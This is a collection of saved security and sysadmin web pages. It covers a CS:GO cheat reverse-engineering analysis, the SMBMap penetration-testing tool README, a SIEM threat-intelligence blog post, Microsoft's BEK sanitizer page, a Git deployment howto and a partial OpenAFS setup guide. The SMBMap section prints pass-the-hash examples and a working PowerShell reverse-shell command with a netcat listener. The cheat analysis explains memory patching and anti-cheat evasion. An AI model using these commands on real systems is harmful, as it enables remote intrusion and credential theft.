     0x102bdf1d 890de815f214 mov dword [0x14f215e8], ecx  
     0x102bdf23 8b0d5ccaec12 mov ecx, dword [0x12ecca5c]  
     0x102bdf29 8bf2         mov esi, edx  
     0x102bdf2b 8bc1         mov eax, ecx  
     0x102bdf2d 83ce08       or esi, 8
[/code]

Which means this pattern is looking for one of those global memory references
present in the first two disassembly lines.

As we said, they also use patterns to locate game functions, for instance with
the following pattern, the cheat locates the start of the function used by the
game to execute console commands in-game:

[code]

    55 8B EC 8B ? ? ? ? ? 81 F9 ? ? ? ? 75 0C A1 ? ? ? ? 35 ? ? ? ? EB 05 8B 01 FF 50 34 50 A1
[/code]

This one is found in  _engine.dll_ :

[code]

          0x100aa300 55           push ebp  
          0x100aa301 8bec         mov ebp, esp  
          0x100aa303 8b0d54345b10 mov ecx, dword [0x105b3454]  
          0x100aa309 81f938345b10 cmp ecx, 0x105b3438  
     ,=<  0x100aa30f 750c         jne 0x100aa31d  
     |    0x100aa311 a168345b10   mov eax, dword [0x105b3468]  
     |    0x100aa316 3538345b10   xor eax, 0x105b3438  
     ,==< 0x100aa31b eb05         jmp 0x100aa322  
     |`-> 0x100aa31d 8b01         mov eax, dword [ecx]  
     |    0x100aa31f ff5034       call dword [eax + 0x34]  
     `--> 0x100aa322 50           push eax  
          0x100aa323 a1f8325a10   mov eax, dword [0x105a32f8]  
          [...]
[/code]

If the cheat wants to run an in-game console command, it can allocate memory
in the game process, pass the arguments to the function using this memory, and
create a new thread using  _CreateRemoteThread_ at the beginning of the
procedure.

When the cheat has located all it needs to work, it will start a bunch of
threads that implement each of the functionalities. These threads are in
charge of monitoring and manipulate the game memory using the functions
_ReadProcessMemory_ and  _WriteProcessMemory_.

Changing the values of the internal game structures at will, the cheat can
achieve the functionalities it offers.

I have identified some of the functions and renamed them in my pseudocode:

[code]

    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)aimassist, 0, 0, 0);  
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)aimlock, 0, 0, 0);  
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)bunnyhop, 0, 0, 0);  
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)anti_flash, 0, 0, 0);  
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403F0E, 0, 0, 0);  
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)esp_hack, 0, 0, 0);  
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)radar_hack, 0, 0, 0);  
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)kill_message, 0, 0, 0);  
    while ( !byte_4F1081  
     || !byte_4F1054  
     || !byte_4F1082  
     || !byte_4F10C9  
     || !byte_4F1062  
     || !byte_4F1040  
     || !byte_4F1090  
     || !byte_4F1028 )  
     Sleep(0x64u);  
    // Default config  
    cfg_antiflash = 1;  
    cfg_aimlock = 1;  
    cfg_killmessage = 1;  
    cfg_radarhack = 1;  
    byte_4F1032 = 0;  
    cfg_glowesp = 1;  
    byte_4F10C0 = 0;  
    cfg_bunnyhop = 1;  
    cfg_aimassist = 1;  
    cfg_reload();  
    while ( WaitForSingleObject(csgo_prochandler, 0) != 0 )  
     cfg_changes_loop();  
    CloseHandle(csgo_prochandler);  
    j_exit(0);
[/code]

## Private version protection

The public version is poorly protected, they just encrypted the strings with a
simple algorithm but it has no code obfuscation or PE packing.

On the other side, the private version is protected with Themida, a commercial
packer that, depending on its configuration, can be quite effective protecting
executables.

It's very likely that they use Themida for two purposes:

  1. Protect the cheat license from being patched. The program can be manipulated to validate any license when running in a computer, but reconstruct a fully working version of the packed executable and patch it may be quite tricky.
  2. The second and most important, avoid the VAC signatures from detecting their cheat when running. Themida can protect the original opcodes of the program when it's loaded in memory and running, and writing signatures \(patterns\) for those opcodes is one of the methods VAC uses to detect cheaters.

## Closing

If we compare it to other cheats, this one is simple in terms of
functionality, but still quite effective.

Bear in mind that the CSGO binaries used for the analysis are not from the
latest game update, as I wrote this one week ago. The binaries I used are:

[code]

    942fa5d3ef9e0328157b34666327461cee10aae74b26af135b8589dc35a5abc7 client.dll  
    e6f3eda5877f2584aeb43122a85d0861946c7fb4222d0cb6f3bc30034e4d3e24 engine.dll  
    1a5bb2b0ae9f2e6ef757c834eeb2c360a59dce274b2e4137706031f629e6455f csgo.exe
[/code]

This means that the cheat signatures may have been slightly modified to work
with the new executables, and the offsets probably won't be the same if these
binaries changed in the latest version of the game.

Tags: reversing, csgo, cheat, counter, strike, global, offensive

  

# ShawnDEvans/smbmap

**Created:**| _4/30/2015 10:58:35 AM_  
---|---  
**Updated:**| _4/30/2015 10:58:35 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

# SMBMap

SMBMap allows users to enumerate samba share drives across an entire domain.
List share drives, drive permissions, share contents, upload/download
functionality, file name auto-download pattern matching, and even execute
remote commands. This tool was designed with pen testing in mind, and is
intended to simplify searching for potentially sensitive data across large
networks.

Some of the features have not been thoroughly tested, so changes will be forth
coming as bugs are found. I only really find and fix the bugs while I'm on
engagements, so progress is a bit slow. Any feedback or bug reports would be
appreciated. It's definitely rough around the edges, but I'm just trying to
pack in features at the moment. Version 2.0 should clean up the code a
lot….whenever that actually happens ;\). Thanks for checking it out\!\!
Planned features include simple remote shell \(instead of the god awful
powershell script in the examples\), actual logging, shadow copying ntds.dit
automation \(Win7 and up only..for now\), threading, other things….

You'll need Impacket to use this tool:

https://github.com/CoreSecurity/impacket

Apparently the latest Impacket requires PyASN.1:

http://sourceforge.net/projects/pyasn1/

##  Features:

  * Pass-the-hash Support
  * File upload/download/delete
  * Permission enumeration \(writable share, meet Metasploit\)
  * Remote Command Execution
  * Distrubted file content searching \(new\!\)
  * File name matching \(with an auto downoad capability\)

[code]

    SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
    
    optional arguments:
      -h, --help            show this help message and exit
    
    Main arguments:
      -H HOST               IP of host
      --host-file FILE      File containing a list of hosts
      -u USERNAME           Username, if omitted null session assumed
      -p PASSWORD           Password or NTLM hash
      -s SHARE              Specify a share (default C$), ex 'C$'
      -d DOMAIN             Domain name (default WORKGROUP)
      -P PORT               SMB port (default 445)
    
    Command Execution:
      Options for executing commands on the specified host
    
      -x COMMAND            Execute a command ex. 'ipconfig /r'
    
    Filesystem Search:
      Options for searching/enumerating the filesystem of the specified host
    
      -L                    List all drives on the specified host
      -R [PATH]             Recursively list dirs, and files (no share\path lists
                            ALL shares), ex. 'C$\Finance'
      -r [PATH]             List contents of directory, default is to list root of
                            all shares, ex. -r 'C$\Documents and
                            Settings\Administrator\Documents'
      -A PATTERN            Define a file name pattern (regex) that auto downloads
                            a file on a match (requires -R or -r), not case
                            sensitive, ex '(web|global).(asax|config)'
      -q                    Disable verbose output (basically only really useful
                            with -A)
    
    File Content Search:
      Options for searching the content of files
    
      -F PATTERN            File content search, -F '[Pp]assword' (requies admin
                            access to execute commands, and powershell on victim
                            host)
      --search-path PATH    Specify drive/path to search (used with -F, default
                            C:\Users), ex 'D:\HR\'
    
    Filesystem interaction:
      Options for interacting with the specified host's filesystem
    
      --download PATH       Download a file from the remote system,
                            ex.'C$\temp\passwords.txt'
      --upload SRC DST      Upload a file to the remote system ex.
                            '/tmp/payload.exe C$\temp\payload.exe'
      --delete PATH TO FILE
                            Delete a remote file, ex. 'C$\temp\msf.exe'
      --skip                Skip delete file confirmation prompt
    
    Examples:
    
    $ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
    $ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
    $ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -h 10.1.3.30 -x 'net group "Domain Admins" /domain'
    
[/code]

##  Default Output:

[code]

    $ cat smb-hosts.txt | python smbmap.py -u jsmith -p 'R33nisP!nckl3' -d ABC
    [+] Reading from stdin
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.0.5:445 Name: unkown                                            
            Disk                                                    Permissions
            ----                                                    -----------
            ADMIN$                                                  READ, WRITE
            C$                                                      READ, WRITE
            IPC$                                                    NO ACCESS
            TMPSHARE                                                READ, WRITE
    [+] User SMB session establishd...
    [+] IP: 192.168.2.50:445        Name: unkown                                            
            Disk                                                    Permissions
            ----                                                    -----------
            IPC$                                                    NO ACCESS
            print$                                                  READ, WRITE
            My Dirs                                                 NO ACCESS
            WWWROOT_OLD                                             NO ACCESS
            ADMIN$                                                  READ, WRITE
            C$                                                      READ, WRITE
    
[/code]

##  Command execution:

[code]

    $ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -h 192.168.2.50
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.2.50:445        Name: unkown                                            
    Group name     Domain Admins
    Comment        Designated administrators of the domain
    
    Members
    
    -------------------------------------------------------------------------------
    abcadmin                  
    The command completed successfully.
    
[/code]

##  Non recursive path listing \(ls\):

[code]

    $ python smbmap.py -H 172.16.0.24 -u Administrator -p 'changeMe' -r 'C$\Users'
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 172.16.0.24:445 Name: 172.16.0.24                                       
        Disk                                                    Permissions
        ----                                                    -----------
        C$                                                      READ, WRITE
        .Users                                             
        dw--w--w--                0 Wed Apr 29 13:15:25 2015    .
        dw--w--w--                0 Wed Apr 29 13:15:25 2015    ..
        dr--r--r--                0 Wed Apr 22 14:50:36 2015    Administrator
        dr--r--r--                0 Thu Apr  9 14:46:57 2015    All Users
        dw--w--w--                0 Thu Apr  9 14:46:49 2015    Default
        dr--r--r--                0 Thu Apr  9 14:46:57 2015    Default User
        fr--r--r--              174 Thu Apr  9 14:44:01 2015    desktop.ini
        dw--w--w--                0 Thu Apr  9 14:46:49 2015    Public
        dr--r--r--                0 Wed Apr 22 13:33:01 2015    wingus
    
[/code]

##  File Content Searching:

[code]

    $ python smbmap.py -h 192.168.1.203 -u Administrator -p p00p1234! -F password --search-path 'C:\Users\wingus\AppData\Roaming'
    [!] Missing domain...defaulting to WORKGROUP
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.1.203:445 Name: unkown                                            
    [+] File search started on 1 hosts...this could take a while
    [+] Job 861d4cd845124cad95d42175 started on 192.168.1.203, result will be stored at C:\Windows\TEMP\861d4cd845124cad95d42175.txt
    [+] Grabbing search results, be patient, share drives tend to be big...
    [+] Job 1 of 1 completed
    [+] All jobs complete
    Host: 192.168.1.203       Pattern: password
    C:\Users\wingus\AppData\Roaming\Mozilla\Firefox\Profiles\35msadwm.default\logins.json
    C:\Users\wingus\AppData\Roaming\Mozilla\Firefox\Profiles\35msadwm.default\prefs.js
    
[/code]

##  Drive Listing:

This feature was added to compliment the file content searching feature

[code]

    $ python smbmap.py -h 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L 
    [!] Missing domain...defaulting to WORKGROUP
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.1.24:445 Name: unkown                                            
    [+] Host 192.168.1.24 Local Drives: C:\ D:\
    [+] Host 192.168.1.24 Net Drive(s):
        E:      \\vboxsrv\Public      VirtualBox Shared Folders
    
[/code]

##  Nifty Shell:

Run Powershell Script on Victim SMB host \(change the IP in the code to your
IP addres, i.e where the shell connects back to\)

[code]

    $ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -h 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' 
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.2.50:445        Name: unkown                                            
    [!] Error encountered, sharing violation, unable to retrieve output
    
[/code]

##  Attackers Netcat Listener:

[code]

    $ nc -l 4445
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    
    C:\Windows\system32>whoami
     nt authority\system
    
[/code]

# How to Use Threat Intelligence with Your SIEM?

**Created:**| _5/26/2014 9:50:50 AM_  
---|---  
**Updated:**| _5/26/2014 9:50:50 AM_  
**Author:**| __  
**Tags:**| _Threat-modeling risk-management siem_  
  

# How to Use Threat Intelligence with Your SIEM?

by **Anton Chuvakin** | March 26, 2014 | 10 Comments
SIEM and Threat Intelligence \(TI\) feeds are a marriage made in heaven\!
Indeed, every SIEM user should send _technical TI_ feeds into their SIEM tool.
We touched on that subject several times, but in this post will look at in in
depth. Well, _in as much depth as possible to still make my future paper on
the topic a useful read :–\)_

First, why are we doing this:

  * Faster detection – alerting on TI matches \(IPs, URLs, domains, hashes, etc\) is easier than writing good correlation rules
  * Better context – alert triage and incident investigation becomes easier and information is available faster
  * Threat tracking and awareness – combining local monitoring observations, external TI and \[for those who are ready\!\] internal TI in one place.

What log data do we need?

  * Most common log data to match to TI feeds: firewalls logs \(outbound connection records … my fave logs nowadays\!\), web proxy logs
  * Also used: netflow, router logs or anything else that shows connectivity
  * NIDS/NIPS \(and NBA, if you are into that sort of thing\) data \(TI matching here helps triage, not detection\)
  * ETDR tools can usually match to TI data without using a SIEM, but local endpoint execution data collected in one place marries well to TI feeds.

Where would TI data comes from \(also look for other TI sources\):

  * SIEM vendor: some of the SIEM vendors are dedicating significant resources to the production of their own threat intelligence and/or TI feed aggregation, enrichment and cleaning
  * Community, free TI feeds: CIF format comes really handy here, but CSV can be imported just as well \(some lists and information on how to compare them\)
  * Commercial packaged feeds from the TI aggregator \(it may even have pre-formatted rules ready for your SIEM\!\)
  * Commercial TI providers of original threat intelligence.

Obviously, using your SIEM vendor TI feeds is the easiest \(and may in fact be
as easy as clicking one button to turn it on\!\), but even other sources are
not that hard to integrate with most decent SIEM tools.

Now, let’s review all the usage of TI data inside a SIEM:

  * Detect owned boxes, bots, etc that call home when on your network \(including boxes pre-owned when not on your network\) and, in general, detect malware that talks back to its mothership
  * Validate correlation rules and improve baselining alerts by upping the priority of rules that also point at TI-reported “bad” sources
  * Qualify entities related to an incident based on collected TI data \(what’s the history of this IP?\)
  * Historical matching of past, historical log data to current TI data \(key cool thing to do\! resource intensive\!\)
  * Review past TI history as key context for reviewed events, alerts, incidents, etc \(have we seen anything related to this IP in the past TI feeds?\)
  * Review threat histories and TI data in one place; make use of SIEM reports and trending to analyze the repository of historical TI data \(create poor man’s TI management platform\)
  * Enable \[if you feel adventurous\] automatic action due to better context available from high-quality TI feeds
  * Run TI effectiveness reports in a SIEM \(how much TI leads to useful alerts and incidents?\)
  * Validate web server logs source IP to profile visitors and reduce service to those appearing on bad lists \(uncommon\)
  * Other use of TI feeds in alerts, reports and searches and as context for other monitoring tasks

So, if you are deploying a SIEM, make sure that you start using threat
intelligence in the _early phases_ of your project\!

**Posts related to this research project:**

10 Comments »

**Category:** analytics collective incident response logging monitoring
security SIEM threat intelligence **Tags:**

### 10 responses so far ↓

  * **How to Use Threat Intelligence with Your SIEM? | All that All ** March 26, 2014 at 12:17 pm 
\[...\] By Anton Chuvakin \[...\]

  * **How to Use Threat Intelligence with Your SIEM? : 6config: Le blog ** March 26, 2014 at 12:38 pm 
\[...\] By Anton Chuvakin \[...\]

  * **How to Use Threat Intelligence with Your SIEM? | Euler Global Consulting ** March 26, 2014 at 12:47 pm 
\[...\] By Anton Chuvakin \[...\]

  * **Glenn** March 26, 2014 at 2:18 pm 
Anton,

Once again a thoughtful writing. I know we implemented TI from one SIEM
Vendor, however it didn’t exactly work out the way it was originally designed
to as it provide us a much higher level of FP than we originally thought it
would. Also at times the licensing fee is not what a client wants to pay. They
feel with the cost of the product and support it should be provided free of
charge…..

Cheers

Glenn

  * **Anton Chuvakin ** March 26, 2014 at 3:28 pm 
Glenn, thanks for the comment. Indeed, FPs are common if you send TI data that
is meant for investigative context straight into alerting \(ie. “an IP with
some suspicious history” vs “known bad – spreads malware now”\)

Also, my telepathic abilities are weak today, but I suspect that vendor’s name
starts from “S.” <img src='img/Temp2_4086.gif' alt=':-)' /> They charged for
TI feeds and \[sadly\] recommended raw intel to be flowing into rule engine
with alerts set to on … FAIL\!

  * **David Shearmon ** March 30, 2014 at 3:36 pm 
Anton, as usual, extremely good comments and words of wisdom

  * **On Threat Intelligence Management Platforms ** March 31, 2014 at 10:44 pm 
\[...\] How to Use Threat Intelligence with Your SIEM? \(a very fun read\!\)
\[...\]

  * **On Threat Intelligence Management Platforms | All that All ** March 31, 2014 at 10:46 pm 
\[...\] How to Use Threat Intelligence with Your SIEM? \(a very fun read\!\)
\[...\]

  * **On Threat Intelligence Management Platforms : 6config: Le blog ** March 31, 2014 at 10:55 pm 
\[...\] How to Use Threat Intelligence with Your SIEM? \(a very fun read\!\)
\[...\]

  * **On Threat Intelligence Management Platforms | Euler Global Consulting ** March 31, 2014 at 11:42 pm 
\[...\] How to Use Threat Intelligence with Your SIEM? \(a very fun read\!\)
\[...\]

# BEK - Microsoft Research

**Created:**| _12/7/2012 1:19:47 PM_  
---|---  
**Updated:**| _12/7/2012 1:19:47 PM_  
**Author:**| __  
**Tags:**| _business constraint solving automata-theory_  
  
  

BEK

BEK is a domain specific language for writing common string functions,
combined with state of the art analysis. With BEK, you can answer questions
like Do these two programs output the same string? Can this program ever
output a target string? What happens if I compose these two programs? Does the
order matter? More general than regular expressions, BEK has been specifically
tailored to capture common idioms in string manipulating functions.

## Bek architecture

<img src='img/Temp2_961.gif' width='567' height='304' />

## Try out BEK online\!:

  * http://www.rise4fun.com/Bek
  * **Tutorial** :http://www.rise4fun.com/Bek/tutorial/guide

## Property checking

The following BEK program represents a basic sanitizer that escapes
\(unescaped\) single and double quotes. It iterates over an input string _t_
using a character variable _c_ and a single boolean state variable  _b_
\(initially _false_\) to track whether the previous character was an unescaped
slash.

[code]

    **program** sanitize(t);  
        string s;   
        s := **iter**(c **in** t){b := **false** ;}{  
                **case** (!(b) && ((c == '\'') || (c == '\"'))) :  
                    b := **false** ;  
                    **yield** ('\\');  
                    **yield** (c);
[/code]

[code]

                **case** (c == '\\') :  
                    b := !(b);  
                    **yield** (c);
[/code]

[code]

                **case** (true) :
[/code]

[code]

                    b := **false** ;
[/code]

[code]

                    **yield** (c);
[/code]

[code]

                };  
        **return** s;
[/code]

  
For example, if the input is \\\" the double quote is not considered escaped,
and the sanitized output is \\\\\". If we apply the sanitizer to \\\\\" again,
the output is the same. A fundamental question is whether this holds for _any_
output string. In other words, is the sanitizer idempotent?

We use **automata-theoretic techniques** to answer such questions. In
particular, for checking idempotency, three steps are performed:

  1. The sanitizer is translated into a _symbolicfinite transducer_ _A_ :<img src='img/Temp2_959.gif' width='522' height='183' />  
that is a automaton with symbolic transitions \(input guard\)/\[output
sequence\]. For example in state \!_b_ \(_b_ = _false_\), if the character is
a single or double quote \(_c_ ='''\)|\(_c_ ='\"'\) the output sequence is '\'
followed by _c_ and the state does not change.

  2. _A_ is composed with itself to form the composed transducer _A_ • _A_. It turns out \(in this case\) that the composed transducer _A_ • _A_ looks exactly the same as _A_. 
  3. _A_ and _A_ • _A_ are checked for **_equivalence_** : check if for all t, _A_\(t\) = _A_ • _A_\(t\) by using an equivalence-checking algorithm for transducers.

## Code generation

Once the sanitizer has been checked for various desired properties efficient
code can be automatically generated. The following _**functionally
equivalent**_ JavaScript function is generated for the above sanitizer:

[code]

    **function** sanitize(t)  
    {  
        **var** s =   
        **function** ($){  
        **var** result = **new** Array();   
        **for**(i=0; i<$.length; i++){  
            **var** c =$[i];  
            **if** ((~(b) && ((c == String.fromCharCode(39)) 
[/code]

[code]

                || (c == String.fromCharCode(34)))))  
            {  
                b := **ff** ;  
                result.push(String.fromCharCode(92));  
                result.push(c);  
            }  
            **if** ((c == String.fromCharCode(92)))  
            {  
                b := ~(b);  
                result.push(c);  
            }  
            **if** (**tt**)  
            {  
                b := **ff** ;  
                result.push(c);  
            }  
        };   
        **return** result.join('');  
        }(str);  
        **return** s;  
    }
[/code]

[code]

     
[/code]

## Visual validation

The ability to visualize BEK programs as transducers provides also an
effective way to visually inspect and validate the intended behavior.

Consider the BEK program above but where the yields of the first case
statement are swapped by mistake:

[/code]

[code]

    **program** sanitizeB(t);  
        string s;   
        s := **iter**(c **in** t){b := **false** ;}{  
                **case** (!(b) && ((c == '\'') || (c == '\"'))) :  
                    b := **false** ;  
                    **yield** (c);
[/code]

[code]

    **yield** ('\\');
[/code]

[code]

    **case** (c == '\\') :  
                    b := !(b);  
                    **yield** (c);
[/code]

[code]

    **case** (true) :
[/code]

[code]

                    b := **false** ;
[/code]

[code]

    **yield** (c);
[/code]

[code]

                };  
        **return** s;
[/code]

[code]

     
[/code]

In this case the corresponding transducer, say _B_ , looks similar to _A_
above:<img src='img/Temp2_960.gif' width='538' height='191' />However, the
composition _B_ • _B_ visually shows that idempotency fails:

<img src='img/Temp2_958.gif' width='513' height='185' />

[/code]

[code]

     
[/code]

[code]

     
[/code]

People

<img src='img/Temp2_964.gif' width='72' height='72' alt='Ben Livshits' />

Ben Livshits

  

<img src='img/Temp2_963.gif' width='72' height='72' alt='David Molnar' />

David Molnar

  

<img src='img/Temp2_962.gif' width='72' height='72' alt='Margus Veanes' />

Margus Veanes

  

Publications

  * Margus Veanes and Nikolaj Bjorner, Symbolic Automata: The Toolkit, in _TACAS'12_ , Springer Verlag, March 2012
  * Margus Veanes, Pieter Hooimeijer, Benjamin Livshits, David Molnar, and Nikolaj Bjorner, Symbolic Finite State Transducers: Algorithms and Applications, in _POPL’12_ , ACM SIGPLAN, January 2012
  * Margus Veanes, David Molnar, Benjamin Livshits, and Lubomir Litchev, Generating Fast String Manipulating Code Through Transducer Exploration and SIMD Integration, no. MSR-TR-2011-124, November 2011
  * Pieter Hooimeijer, Benjamin Livshits, David Molnar, Prateek Saxena, and Margus Veanes, Fast and Precise Sanitizer Analysis with BEK, in _USENIX Security'11_ , August 2011
  * Margus Veanes, David Molnar, and Benjamin Livshits, Decision Procedures for Composition and Equivalence of Symbolic Finite State Transducers, no. MSR-TR-2011-32, 14 March 2011
  * Nikolaj Bjorner and Margus Veanes, Symbolic Transducers, no. MSR-TR-2011-3, 21 January 2011
  * Margus Veanes and Nikolaj Bjorner, Symbolic Tree Transducers, in _Ershov Informatics Conference \(PSI'11\)_ , Springer, 2011
  * Pieter Hooimeijer, Benjamin Livshits, David Molnar, Prateek Saxena, and Margus Veanes, BEK: Modeling Imperative String Operations with Symbolic Transducers, no. MSR-TR-2010-154, 26 November 2010
  * Pieter Hooimeijer, Margus Veanes, Prateek Saxena, and David Molnar, Modeling Imperative String Operations with Transducers, no. MSR-TR-2010-96, July 2010

  

# Using Git to manage a web site

**Created:**| _3/18/2011 5:11:11 PM_  
---|---  
**Updated:**| _3/18/2011 5:11:11 PM_  
**Author:**| __  
**Tags:**| _web Git deploy_  
  

# Using Git to manage a web site

By Abhijit Menon-Sen <ams@toroid.org>

The HTML source for my \(i.e., this\) web site lives in a Git repository on my
local workstation. This page describes how I set things up so that I can make
changes live by running just "`git push web`".

The one-line summary: push into a remote repository that has a detached work
tree, and a `post-receive` hook that runs "`git checkout -f`".

## The local repository

It doesn't really matter how the local repository is set up, but for the sake
of argument, let's suppose you're starting one from scratch.

[code]

    $ mkdir website && cd website
    $ git init
    Initialized empty Git repository in /home/ams/website/.git/
    $ echo 'Hello, world!' > index.html
    $ git add index.html
    $ git commit -q -m "The humble beginnings of my web site."
    
[/code]

Anyway, however you got there, you have a repository whose contents you want
to turn into a web site.

## The remote repository

I assume that the web site will live on a server to which you have ssh access,
and that things are set up so that you can ssh to it without having to type a
password \(i.e., that your public key is in `~/.ssh/authorized_keys` and you
are running `ssh-agent` locally\).

On the server, we create a new repository to mirror the local one.

[code]

    $ mkdir website.git && cd website.git
    $ git init --bare
    Initialized empty Git repository in /home/ams/website.git/
    
[/code]

Then we define \(and enable\) a post-receive hook that checks out the latest
tree into the web server's DocumentRoot \(this directory must exist; Git will
not create it for you\):

[code]

    $ mkdir /var/www/www.example.org
    $ cat > hooks/post-receive
    #!/bin/sh
    GIT_WORK_TREE=/var/www/www.example.org git checkout -f
    $ chmod +x hooks/post-receive
    
[/code]

Note: earlier versions of this howto depended on setting the git config
variables core.worktree to the target directory, core.bare to false, and
receive.denycurrentbranch to ignore. But these changes are not needed if you
use GIT\_WORK\_TREE \(which didn't work when I first wrote the howto\), and
the remote repository can remain bare.

Back on the workstation, we define a name for the remote mirror, and then
mirror to it, creating a new "`master`" branch there.

[code]

    $ git remote add web ssh://server.example.org/home/ams/website.git
    $ git push web +master:refs/heads/master
    
[/code]

On the server, `/var/www/www.example.org` should now contain a copy of your
files, independent of any `.git` metadata.

## The update process

Nothing could be simpler. In the local repository, just run

[code]

    $ git push web
    
[/code]

This will transfer any new commits to the remote repository, where the `post-
receive` hook will immediately update the `DocumentRoot` for you.

\(This is more convenient than defining your workstation as a remote on the
server, and running "`git pull`" by hand or from a cron job, and it doesn't
require your workstation to be accessible by ssh.\)

## Notes

A few more things bear mentioning.

First, the work tree \(`/var/www/www.example.org` above\) must be writable by
the user who runs the hook \(or the user needs sudo access to run git checkout
-f, or something similar\).

Also, the work tree does not need to correspond exactly to your
`DocumentRoot`. Your repository may represent only a subdirectory of it, or
even contain it as a subdirectory.

In the work tree, you will need to set the environment variable `GIT_DIR` to
the path to `website.git` before you can run any git commands \(e.g. "`git
status`"\).

Setting `receive.denycurrentbranch` to "`ignore`" on the server eliminates a
warning issued by recent versions of git when you push an update to a checked-
out branch on the server. \(Thanks to Miklos Vajna for pointing this out.\)

You can push to more than one remote repository by adding more URLs under the
`[remote "web"]` section in your `.git/config`.

[code]

    [remote "web"]
        url = ssh://server.example.org/home/ams/website.git
        url = ssh://other.example.org/home/foo/website.git
    
[/code]

There are also other hooks. See githooks\(5\) for details. For example, you
could use `pre-receive` to accept or deny a push based on the results of an
HTML validator. Or you could do more work in the `post-receive` hook \(such as
send email to co-maintainers; see `contrib/hooks/post-receive-email`\).

I wrote this after reading Daniel Miessler's piece on Using Git to maintain
your website. His setup is straightforward: push to a bare repository on the
server and pull the changes into a second clone that is used as the
DocumentRoot. My implementation has the same effect, but there are fewer
moving parts, and .git is far from the DocumentRoot.

Note: some people have reported that this strategy doesn't work under git
1.5.4.3 \(because the `git checkout -f` fails\). I know it does work with
1.6.x. I haven't investigated further.

Questions and suggestions are welcome.

# Run like Hell: Openafs on Debian \(Configuration\)

**Created:**| _3/16/2010 10:48:17 AM_  
---|---  
**Updated:**| _3/16/2010 10:48:28 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup Distributed systems Filesystem_  
  

### Openafs on Debian \(Configuration\)

A few days ago a friend asked me, how to install openafs on a Debian Linux. I
told him, that he just has to follow my<img src='img/Temp2_7075.jpg'
width='162' height='34' /> article on www.debianplanet.org...  
But on www.debianplanet.org he only got the following information:  
_Temporarily removed due to spammers, read-only archive version will b_ _e
back after_ _reconfiguration_.  
  
<img src='img/Temp2_7074.jpg' width='194' height='132' alt='OpenAFS Logo' />  
So i searched in my files and finally i found my article:  
_Submitted by dschroff on Friday, November 01, 2002 - 23:59_  
  
Here the content:  
  
This is a quick and dirty rundown of how to install OpenAFS and Kerberos 5 and
get it all working. OpenAFS is a pretty advanced and rockin' distributed
filesyste; for more information, check out openafs.org.  
As an absolute minimum, you'll need to install the following packages:  
  
libpam-openafs-session  
openafs-client  
openafs-krb5  
openafs-modules-source  
libkrb53  
krb5-clients  
krb5-config  
krb5-doc  
krb5-user  
libpam-krb5  
openafs-krb5  
  
If you're running a server, you'll also need to install the following
packages.  
  
openafs-dbserver  
openafs-fileserver  
krb5-admin-server  
krb5-kdc  
  
Secondly, you'll need to set Kerberos up. Read and follow the instructions in
/usr/share/doc/krb5-doc/install-guide.ps.gz and create a user called admin.  
After this, you'll need to build the OpenAFS module. Extract the
/usr/src/openafs.tar.gz file and  
read /usr/src/modules/openafs/debian/README.modules; this will create the
package and tell you how to install it.  
After you're built OpenAFS, you'll need to configure this. First, edit
/etc/openafs/ThisCell to set your domain name, then edit
/etc/openafs/CellServDB, and add your server and domain. Copy these files to
/etc/openafs/server and create a partition /vicepa for the data with a
filesystem of your choice.  
On the server, type:  
  
\#>kadmin.local -q "ank -randkey afs"  
\#>kadmin.local -q "ktadd -e des-cbc-crc:afs3 -k /etc/krb5.keytab.afs afs"  
\#>asetkey add foo /etc/krb5.keytab.afs afs  
